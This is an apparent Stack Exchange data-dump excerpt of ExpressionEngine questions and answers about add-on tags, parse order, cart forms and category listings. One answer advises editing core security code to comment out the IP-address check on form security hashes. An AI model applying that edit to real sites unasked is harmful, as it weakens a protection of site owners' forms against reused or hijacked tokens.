  <row Id="9363" PostTypeId="2" ParentId="9362" CreationDate="2013-04-15T17:38:52.647" Score="0" Body="&lt;p&gt;You can try this sql with Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(exp_category_posts.entry_id) AS total_entries, exp_categories.cat_id, exp_categories.cat_name, exp_categories.cat_url_title &#xA;FROM exp_category_posts &#xA;LEFT JOIN exp_categories ON exp_categories.cat_id=exp_category_posts.cat_id &#xA;WHERE exp_categories.group_id=1 &#xA;GROUP BY cat_id &#xA;ORDER BY count(entry_id) DESC&quot;}&#xA;&#xA;Total Number of entries = {total_entries}, Category ID = {cat_id}, Category Name = {cat_name}, Category URL Title = {cat_url_title}&#xA;&amp;lt;br /&amp;gt;&amp;amp;nbsp;&amp;lt;br /&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to update the category group id in WHERE condition (group_id=1) and ORDER BY either DESC or ASC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above query, you can get other info like total number entries in a particular category, category name, category id and category url title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-15T17:38:52.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="2" ParentId="9362" CreationDate="2013-04-15T18:04:58.247" Score="1" Body="&lt;p&gt;I'd make use of &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; which is an excellent free addon where you can simple do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories entry_count=&quot;yes&quot; orderby=&quot;entry_count&quot; sort=&quot;desc&quot;}&#xA;&#xA;    {cat_name} ({entry_count})&#xA;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where in this example I'm ordering by the entry count (descending) and also outputting the entry count if desired.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-15T18:04:58.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostTypeId="1" AcceptedAnswerId="9367" CreationDate="2013-04-15T20:51:44.193" Score="0" ViewCount="371" Body="&lt;p&gt;I am running CartThrob 2.2.5. I am trying to exempt a product type from shipping and tax. I found the setting in their documentation but it isn't working (&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the opening tag. Any ideas why it isn't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Updated to include Stash tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:stash:get_list &#xA;    name=&quot;event_list&quot;&#xA;    match='#{freebie_last}#' &#xA;    against='this_categories_url' &#xA;    limit='1'&#xA;}&#xA;    {exp:cartthrob:add_to_cart_form &#xA;        class='form-horizontal' &#xA;        entry_id=&quot;{this_entry_id}&quot; &#xA;        tax_exempt=&quot;yes&quot;&#xA;        shipping_exempt=&quot;yes&quot;&#xA;        return=&quot;wines/wine-cart&quot;&#xA;    }               &#xA;        ....&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;{/exp:stash:get_list}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="944" LastEditorUserId="422" LastEditDate="2013-04-15T22:12:44.273" LastActivityDate="2015-02-20T14:09:44.253" Title="CathThrob - Add to Cart Form - No Shipping and Tax" Tags="|cartthrob|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="1" AcceptedAnswerId="9369" CreationDate="2013-04-15T20:59:01.087" Score="3" ViewCount="115" Body="&lt;p&gt;I've written a custom plugin which I call repeatedly (via a channel:entries tag) to store a list of entries in an array. (BTW, you have to set up a separate singleton class to do that, as the plug-in object gets re-instantiated from scratch every time it's called from the template.) So the plug-in has two functions: one to store the entry ID's (parse_home_seq), and one to return the entry we're currently looking for (get_hero), which is dictated by the value of a cookie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've logged extensively in the plug-in, so I know that it's returning the right ID. And yet, the second channel:entries tag always returns the same entry (while the get_hero function cycles through the entries on successive page requests). I've been banging my head against this wall all day. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Determine which products to use for hero --}&#xA;{exp:channel:entries channel=&quot;products&quot; status=&quot;wide&quot; orderby=&quot;homepage_seq_no&quot; sort=&quot;asc&quot;}&#xA;    {exp:ah_proc:parse_home_seq seq=&quot;{homepage_seq_no}&quot; id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:ah_proc:get_hero no_update=&quot;1&quot;}:: {!-- for logging --}&#xA;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;{exp:ah_proc:get_hero}&quot; status=&quot;wide&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;    {entry_id}  {!-- for logging --}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-15T21:30:54.357" Title="Entry ID Returned From Plug-In Not Working in Channel Entries Tag" Tags="|channel-entries|plugin|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="2" ParentId="9365" CreationDate="2013-04-15T21:19:00.763" Score="0" Body="&lt;p&gt;Try changing &lt;code&gt;entry_id=&quot;{this_entry_id}&quot;&lt;/code&gt; to &lt;code&gt;entry_id=&quot;{entry_id}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still doesn't work then try it with &lt;code&gt;{exp:cartthrob:add_to_cart}&lt;/code&gt; instead of &lt;code&gt;{exp:cartthrob:add_to_cart_form}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-15T21:19:00.763" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostTypeId="1" AcceptedAnswerId="9370" CreationDate="2013-04-15T21:23:59.833" Score="0" ViewCount="126" Body="&lt;p&gt;Trying to create a static map dynamically in a channel entries loop with the lat/long field data. I'm thinking that the text fields are parsed after the &lt;code&gt;{exp:gmap:static_map center=&quot;{retailers_latitude},{retailers_longitude}&quot;}&lt;/code&gt; - any solution for this? Swapping parse order doesn't do anything.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="101" LastEditDate="2013-04-17T00:44:43.420" LastActivityDate="2013-04-17T00:45:30.520" Title="Generating static map based on custom field data EE GMaps" Tags="|add-on|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostTypeId="2" ParentId="9366" CreationDate="2013-04-15T21:30:54.357" Score="1" Body="&lt;p&gt;(1) you can use the session class to store your private data in an array or object :-) &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-array&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-array&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) What i'ld do is wrap the whole second channel entries tag within &lt;code&gt;{exp:ah_proc:get_hero}&lt;/code&gt; and have a simple tag &lt;code&gt;{ah_proc_get_hero}&lt;/code&gt; which you can just be search and replaced for the chan:entries to use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// first chan:entries tag&#xA;&#xA;// second&#xA;{exp:ah_proc:get_hero parse=&quot;inward&quot;}&#xA;  {exp:channel:entries channel=&quot;products&quot; &#xA;    entry_id=&quot;{ah_proc_get_hero}&quot; status=&quot;wide&quot; &#xA;    limit=&quot;1&quot;&#xA;  }&#xA;    {entry_id} &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/exp:ah_proc:get_hero}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-15T21:30:54.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9370" PostTypeId="2" ParentId="9368" CreationDate="2013-04-15T23:17:45.607" Score="2" Body="&lt;p&gt;You may have to encase those variables in quotes like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:static_map center=&quot;{retailers_latitude},{retailers_logitude}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="101" LastEditDate="2013-04-17T00:45:30.520" LastActivityDate="2013-04-17T00:45:30.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="2" ParentId="9127" CreationDate="2013-04-16T03:04:50.557" Score="0" Body="&lt;p&gt;I'm not sure whether it has been fixed or not, but there used to be a bug in EE where sessions were tied to a particular IP address (which I mentioned in that thread you linked to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many parts of Asia, the ISPs run a transparent proxy which can cause your http requests to appear to come from multiple IPs (the first page will come from one IP, the second from a totally different IP). You can verify if this is happening by opening up a few different &quot;what is my IP address&quot; type websites and compare the results (don't just refresh one, compare different sites). I've also run into this problem accessing EE over 3G mobile broadband connections in Australia, NZ, and Europe. I'm not sure how common this is in the rest of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't running the latest version of EE, I'd recommend updating and see whether they've fixed it recently. Otherwise, I'd recommend either hacking the EE code to remove the totally pointless IP address check, or just bug EllisLab about it and try to get a fix (probably email the individual developers to get a response).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I just checked the source of the latest version of EE. Commenting out the following line 76 of &lt;code&gt;system/expressionengine/core/EE_Security.php&lt;/code&gt; should fix your problem submitting forms at least:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = $EE-&amp;gt;db-&amp;gt;where('hash', $xid)&#xA;    // -&amp;gt;where('ip_address', $EE-&amp;gt;input-&amp;gt;ip_address())&#xA;    -&amp;gt;where('date &amp;gt; UNIX_TIMESTAMP()-7200')&#xA;    -&amp;gt;from('security_hashes')&#xA;    -&amp;gt;count_all_results();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-04-16T03:16:15.130" LastActivityDate="2013-04-16T03:16:15.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostTypeId="1" AcceptedAnswerId="9503" CreationDate="2013-04-16T03:35:36.587" Score="3" ViewCount="169" Body="&lt;p&gt;I have an Exp:resso store setup based off of the example templates bundled with the software. I'm using Stripe.com as my payment gateway, in test mode.&lt;/p&gt;&#xA;&lt;h3&gt;Problem:&lt;/h3&gt;&#xA;&lt;p&gt;After submitting a payment, checkout page 3 returns to itself without proceeding to the return=&amp;quot;shop/order/ORDER_HASH&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/161736/screen%20grab%202013-04-15%20at%2011.22.44%20PM.PNG&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the response&lt;/a&gt; that I see in my Stripe control panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;The site is available at: http://74.52.63.240/shop/product/alessandra&lt;/code&gt;&#xA;(sorry, stackexchange won't link to an IP address)&lt;/p&gt;&#xA;&lt;p&gt;There is an SSL cert installed for &lt;a href=&quot;https://taliahancock.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://taliahancock.com&lt;/a&gt;. For testing purposes, I have my hosts file set to 74.52.63.240 taliahancock.com.&lt;/p&gt;&#xA;&lt;p&gt;Help is much appreciated. This is my first time using both Exp:resso store and Stripe.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-19T05:57:06.923" Title="Order Confirmation page" Tags="|expresso-store|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="1" CreationDate="2013-04-16T03:54:31.830" Score="1" ViewCount="156" Body="&lt;p&gt;I'm having issues with overwriting the value of the billing and shipping region fields as they are taking on the default value set in the Region/Country area of the Store setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Store with Zoo Visitor and I thought that, like all other fields, if the billing/shipping region fields had a value, that is what would be outputted. However, for me that is not the case, it is only outputting the default value even though the fields in the entry have values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on why this is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;J&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;The current code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;billing_region&quot; class=&quot;state billing_state customDrop&quot;&amp;gt;&amp;lt;option {if billing_region == ''}selected {/if}value=&quot;&quot;&amp;gt;--State--&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'ACT'}selected {/if}value=&quot;ACT&quot;&amp;gt;ACT&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'NSW'}selected {/if}value=&quot;NSW&quot;&amp;gt;NSW&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'QLD'}selected {/if}value=&quot;QLD&quot;&amp;gt;QLD&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'VIC'}selected {/if}value=&quot;VIC&quot;&amp;gt;VIC&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'TAS'}selected {/if}value=&quot;TAS&quot;&amp;gt;TAS&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'SA'}selected {/if}value=&quot;SA&quot;&amp;gt;SA&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'WA'}selected {/if}value=&quot;WA&quot;&amp;gt;WA&amp;lt;/option&amp;gt;&amp;lt;option {if billing_region == 'NT'}selected {/if}value=&quot;NT&quot;&amp;gt;NT&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, {billing_region} is just outputting the default region. &#xA;We have set a default country (AU, Australia) and the default region is set to nothing at the moment after trying to display the current region with and without a default. &lt;/p&gt;&#xA;" OwnerUserId="1333" LastEditorUserId="1333" LastEditDate="2013-04-16T05:08:57.757" LastActivityDate="2013-11-01T11:05:36.930" Title="Overwrite Value of Default Region for Exp:resso" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostTypeId="1" CreationDate="2013-04-16T07:34:32.627" Score="2" ViewCount="397" Body="&lt;p&gt;I have a setup where I have to parse information from a matrix field that is nested within a playa loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&#xA;    {matrix_tag_pair}&#xA;&#xA;            {playa}&#xA;&#xA;                {matrix_field}&#xA;&#xA;            {/playa}&#xA;&#xA;    {/matrix_tag_pair}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the {matrix_field} would not parse. Any idea how to make the matrix field parse other than to place it outside the {playa} loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the longer version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a couple af products at the same time in a ct cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products I add recide in a matrix that contains a playa field. The matrix is a recipe and the ingredients are the playa field that come from a &#xA;product/ingredients channel. The quantity is defined with the matrix field {quantity}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a basic example is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;/store/cart&quot;}&#xA;{exp:channel:entries&#xA;    channel=&quot;recipes&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;}&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;{title}&#xA;                &amp;lt;ul&amp;gt;You will need:&#xA;                    {matrix_recipes}&#xA;                        &amp;lt;li&amp;gt;&#xA;                            {products}{!-- playa field --}&#xA;                                {title}&#xA;                                &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{entry_id}]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;                                &amp;lt;input type=&quot;input&quot; name=&quot;quantity[{entry_id}]&quot; value=&quot;{quantity}&quot; /&amp;gt;&#xA;                                (price:{product_price} each)&#xA;                            {/products}&#xA;&#xA;                        &amp;lt;/li&amp;gt;                       &#xA;                    {/matrix_recipes}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;       &#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;add to cart&quot;/&amp;gt; &#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    {/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with the above setup is that the quantity is not rendering.&#xA;I found a couple of ways to make this work but they were all looking clumsy. One was to wrap playa fields in the playa tag pairs leaving the quantity field outside the playa loop. That left me with a far to verbose template code.&lt;/p&gt;&#xA;" OwnerUserId="1336" LastEditorUserId="1336" LastEditDate="2013-04-16T08:28:20.000" LastActivityDate="2013-09-05T16:52:26.050" Title="Parsing matrix field inside a playa loop" Tags="|matrix|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostTypeId="1" AcceptedAnswerId="9377" CreationDate="2013-04-16T07:47:04.287" Score="3" ViewCount="515" Body="&lt;p&gt;I boiled my problem down to this template code on a template with &quot;Allow PHP&quot; set to &quot;YES&quot; and &quot;PHP Parsing Stage&quot; set to &quot;Output&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 1 == 1}&#xA;  First block&#xA;  &amp;lt;?php echo '1 == 1 is true'; ?&amp;gt;&#xA;  &amp;lt;?php $test = 'hello'; ?&amp;gt;&#xA;{if:else}&#xA;  Second block&#xA;  &amp;lt;?php echo '1 == 1 is false'; ?&amp;gt;&#xA;  &amp;lt;?php $test = 'goodbye'; ?&amp;gt;&#xA;{/if}&#xA;&amp;lt;?php echo $test; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First block&lt;br&gt;&#xA;  1 == 1 is true&lt;br&gt;&#xA;  goodbye&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I would expect the output to be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First block&lt;br&gt;&#xA;  1 == 1 is true&lt;br&gt;&#xA;  hello&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand how the &lt;code&gt;1 == 1 is true&lt;/code&gt; line could get echoed while the variable &lt;code&gt;$test&lt;/code&gt; gets set to &quot;goodbye&quot;. It seems like my PHP variable assignments statements all get executed whether or not the conditional block they are in should get executed or not.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is apparently still a problem even when I eliminate the PHP from the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 1 == 1}&#xA;  1 == 1 is true&#xA;  {exp:stash:set name=&quot;test&quot;}hello{/exp:stash:set}&#xA;{if:else}&#xA;  1 == 1 is false&#xA;  {exp:stash:set name=&quot;test&quot;}goodbye{/exp:stash:set}&#xA;{/if}&#xA;{exp:stash:test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 == 1 is true&lt;br&gt;&#xA;  goodbye&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1335" LastEditorUserId="1335" LastEditDate="2013-04-16T08:37:45.477" LastActivityDate="2013-04-16T12:55:45.193" Title="Why are PHP and Stash variables not set as expected within EE conditionals?" Tags="|stash|conditionals|php|variable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9377" PostTypeId="2" ParentId="9376" CreationDate="2013-04-16T07:58:17.380" Score="3" Body="&lt;p&gt;That's &lt;a href=&quot;http://gotolow.com/parse-order&quot; rel=&quot;nofollow&quot;&gt;Parse Order&lt;/a&gt;. Advanced conditionals, like the one in your example, are parsed &lt;strong&gt;after&lt;/strong&gt; PHP is parsed. In fact, it doesn't even matter if PHP is set on Output or Input. So, think of this step by step. First, your PHP is executed, echoing both &lt;code&gt;1 == 1 is true&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;1 == 1 is false&lt;/code&gt;. And the var &lt;code&gt;$test&lt;/code&gt; is first set to &lt;code&gt;hello&lt;/code&gt;, then to &lt;code&gt;goodbye&lt;/code&gt;, after which the latter is echoed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the advanced conditional is parsed, hiding the first block. But the setting and echoing of &lt;code&gt;$test&lt;/code&gt; has already been done, hence &lt;code&gt;goodbye&lt;/code&gt; remains as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Tis the nature of EE's Parse Order Beast.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-16T07:58:17.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9378" PostTypeId="2" ParentId="9376" CreationDate="2013-04-16T08:27:03.833" Score="1" Body="&lt;p&gt;Following on from @Low's answer and your comment, it doesn't mean that you can't still use PHP successfully in templates. You just need to be mindful of the parse order when mixing PHP with EE tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance in your example if you used PHP for the full if statement then it would work as it would all be parsed at the same time from top to bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to set variables and then call them later in your template in among regular EE tags. You'll then be on par with the parse order again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a couple of examples of mixing PHP with EE tags on both input and output &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a good rule of thumb though try to keep PHP use in your templates down as much as possible for security...and sanity in regards to parse order. ;)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-16T08:27:03.833" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="1" CreationDate="2013-04-16T08:42:59.760" Score="1" ViewCount="882" Body="&lt;p&gt;I use this code to list and filter my 3000 blog entries by category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;200&quot; disable=&quot;member_data|pagination|category_fields&quot; category=&quot;1&amp;2&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;           {title}&#xA;           {categories show_group=&quot;2&quot;}&#xA;                {category_name}&#xA;           {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get 140 entries but only 10 entries with category_name.&#xA;Why stop this after 10 entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i disable Transcribe it works fine.&#xA;Its a Transcribe problem/bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works with Transcribe when i set the limit to 3000.&#xA;But it´s increase the Total Execution Time to 3sec....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Sam&lt;/p&gt;&#xA;" OwnerUserId="1337" LastEditorUserId="1337" LastEditDate="2013-04-16T12:40:23.623" LastActivityDate="2013-04-16T12:40:23.623" Title="Categories Tag inside of Channel Entries Tag understanding problem" Tags="|channel-entries|categories|entries|category-name|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9380" PostTypeId="1" AcceptedAnswerId="9387" CreationDate="2013-04-16T08:43:47.697" Score="1" ViewCount="263" Body="&lt;p&gt;I don't seem to be able to use ExpressionEngine's native &lt;code&gt;{exp:channel:category_heading}&lt;/code&gt; feature in combination with GWcode Categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display a simple category results page which displays all entries within a particular category, with the category name at the top as a page header. There will also be a list of all the categories in the sidebar (which I'm using GWcode for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code, simplified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--Page heading--&amp;gt;      &#xA;{exp:channel:category_heading}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:category_heading}&#xA;&#xA;&#xA;&amp;lt;!--List of all the categories--&amp;gt;&#xA;&amp;lt;ul class=&quot;tags&quot;&amp;gt;&#xA;    {exp:gwcode_categories channel=&quot;project|miscellany&quot; entry_count=&quot;yes&quot; orderby=&quot;entry_count|cat_name&quot; sort=&quot;desc&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;{cat_name}&amp;lt;/li&amp;gt;&#xA;    {/exp:gwcode_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--Results of selected category--&amp;gt;&#xA;{exp:channel:entries channel=&quot;project&quot;}&#xA;    &amp;lt;img src=&quot;{project_thumbnail}&quot; /&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only bit that doesn't work is the page heading. Does anyone know why this might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2013-04-22T20:17:48.660" Title="category_heading and GWcode Categories" Tags="|channel-entries|categories|gwcode-categories|bestpractice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostTypeId="1" CreationDate="2013-04-16T08:46:36.367" Score="1" ViewCount="204" Body="&lt;p&gt;Is there a way to remove the validation for unique email addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a customer with a lot of members that must be imported into EE. But a lot of members doesn`t have a email address and a lot of duplicated email addresses are present. &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-04-17T18:56:55.587" Title="Email not unique?" Tags="|members|email|validation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostTypeId="1" AcceptedAnswerId="9418" CreationDate="2013-04-16T09:36:55.573" Score="4" ViewCount="144" Body="&lt;p&gt;I would like to use the {exp:store:checkout} tag to amend a members details such as order_email, shipping_country etc on an account page. Members fields are all setup being mapped to the correct place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when viewing the account page (using the checkout tag) it will only show the member fields for editing when there is something in the shopping cart. I want to be able to show these details when there is nothing in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be possible, any ideas please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2013-04-17T11:17:27.857" Title="Expresso Store - How to use the checkout tag without any items in the cart?" Tags="|expresso-store|checkout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
